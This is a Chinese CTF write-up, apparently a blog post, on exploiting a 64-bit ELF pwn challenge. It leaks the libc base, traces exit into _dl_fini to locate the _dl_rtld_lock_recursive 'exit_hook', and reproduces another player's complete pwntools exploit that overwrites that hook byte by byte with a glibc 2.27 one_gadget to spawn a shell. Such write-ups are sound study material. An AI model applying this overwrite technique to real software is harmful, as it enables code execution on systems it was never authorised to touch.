ELF64,找exit_hook,输入地址并修改里面的内容

先得到libc地址
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.sym['_IO_2_1_stdout_']
如何找exit_hook?网上的教程都是exit->__run_exit_handlers->_dl_fini->_dl_rtld_lock_recursive或者_dl_rtld_unlock_recursive。虽然说调试很容易就找到__run_exit_handlers->_dl_fini,但是我在源码上找不到。
进入exit就会跳转到__run_exit_handlers

观察rdx看到有_dl_fini并且call rdx就找到了_dl_fini

但是一按s就进入了不懂什么函数退出的时候就直接到了_dl_fini+467,题目我patch了libc看不到符号表,只能直接写一个程序调试找exit_hook,这就是我为什么不b _dl_fini


在这里直接set $rip=_dl_fini

在_dl_fini找到_dl_rtld_lock_recursive,计算该地址到libc_base的偏移修改即可

但是我用和xshhc师傅同一个libc找到的exit_hook却不相同,并且所有的og都不能用,不懂为什么,只能用xshhc师傅的wp展示



xshhc师傅的

完整exp
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux",log_level="debug")
import os
from LibcSearcher import *
filename="./PWN6"
elf=ELF(filename)
context.arch=elf.arch
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
p=process(filename)
gdb.attach(p, "b *$rebase(0xA3c)")
else:
p=remote("node4.anna.nssctf.cn" ,28379)
#libc=ELF("./libc.so.6")
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
p.recvuntil(b'0x')
libc_base = int(p.recv(12), 16) - libc.sym['_IO_2_1_stdout_']
print(' libc_base -> ', hex(libc_base))
exit_hook = libc_base + 0x619060 + 0xf08
one_gadget = libc_base + 0x4f322
print(hex(exit_hook))
print(hex(one_gadget))
for i in range(5):
p.send(p64(exit_hook + i))
p.send(p8((one_gadget >> i*8) & 0xFF))
p.interactive()
Comments NOTHING